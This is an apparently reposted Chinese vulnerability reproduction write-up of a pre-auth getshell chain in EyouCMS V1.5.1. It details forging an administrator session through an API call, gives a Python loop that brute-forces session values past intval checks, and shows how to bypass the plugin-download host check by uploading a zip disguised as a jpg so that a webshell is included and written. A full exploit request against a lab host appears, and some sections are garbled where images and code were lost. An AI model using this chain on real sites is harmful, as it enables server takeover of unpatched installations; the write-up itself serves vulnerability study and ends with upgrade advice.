EyouCMS V1.5.1 前台getshell漏洞复现

您所在的位置:网站首页 易优cms分站 EyouCMS V1.5.1 前台getshell漏洞复现

EyouCMS V1.5.1 前台getshell漏洞复现

2023-11-23 19:15| 来源: 网络整理| 查看: 265

0x00 漏洞简介

赞赞网络科技 EyouCMS(易优CMS)是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统(CMS)。

Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞,该漏洞使攻击者可以通过调用api,在前台设置一个管理员的session,后台远程插件下载文件包含getshell。

0x01 影响版本

EyouCMS = intval(session('admin_info.role_id')))admin_info.role_id

(满足小于等于0即可)设置完三个session后,就可以进后台了,如图所示:image

后台远程插件下载getshell在application/admin/controller/Weapp.php:1235image这里传进来一个$url,然后做一个url解析,需要满足host为eyoucms.com。也就是程序限制只能从官网下载插件安装,但是这个校验太简单了,可以绕。然后下文就是请求这个下载链接,做解压操作,并包含进来config.php。image这后面再做的插件标准判断已经不起作用了。

0x04 漏洞利用

前台设置一个管理员的session首先我们可以先取出成功登陆后的管理员session与未登录的普通用户session做对比管理员:image普通用户:image调用get_token函数设置名为admin_login_expire的sessionimage再查看该普通用户的sessionimage已成功设置。同样的我们可以把admin_id与admin_info.roke_id添加进去。但是这md5字符串显然不符合漏洞分析中的要求,所以这里通过脚本不断刷新session,直到寻找到合适的md5值

while 1 : admin_login_expire = api_psot("admin_login_expire") num_10 = admin_login_expire[2:12] if is_number(num_10): print("admin_login_expire=",num_10) break while 1 : role_id = api_psot("admin_info.role_id") num_1 = role_id[2:3] if num_1 in ["a","b","c","d","e","f"]: print("role_id=",num_1) break admin_id = api_psot("admin_id") print("admin_id=",admin_id[2:-1])

运行结果:imagesession:image再经过application/admin/controller/Base.php:58和:106的intval()的转换:image成功使用该PHPSESSID进入后台:image

后台远程插件下载文件包含getshell然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

压缩成weappp.zip,修改后缀为jpgimage到eyoucms.com官网寻找图片上传点比如这个提问模块的问题描述:https://www.eyoucms.com/ask/image获取到上传的图片地址:https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg直接在浏览器中请求下载该插件:http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpgimage此时webshell已成功写入:image访问webshell:image

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

0x06 参考文章

https://mp.weixin.qq.com/s/JBzQ9xz7kVOm0Ll3yT-IRQ



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3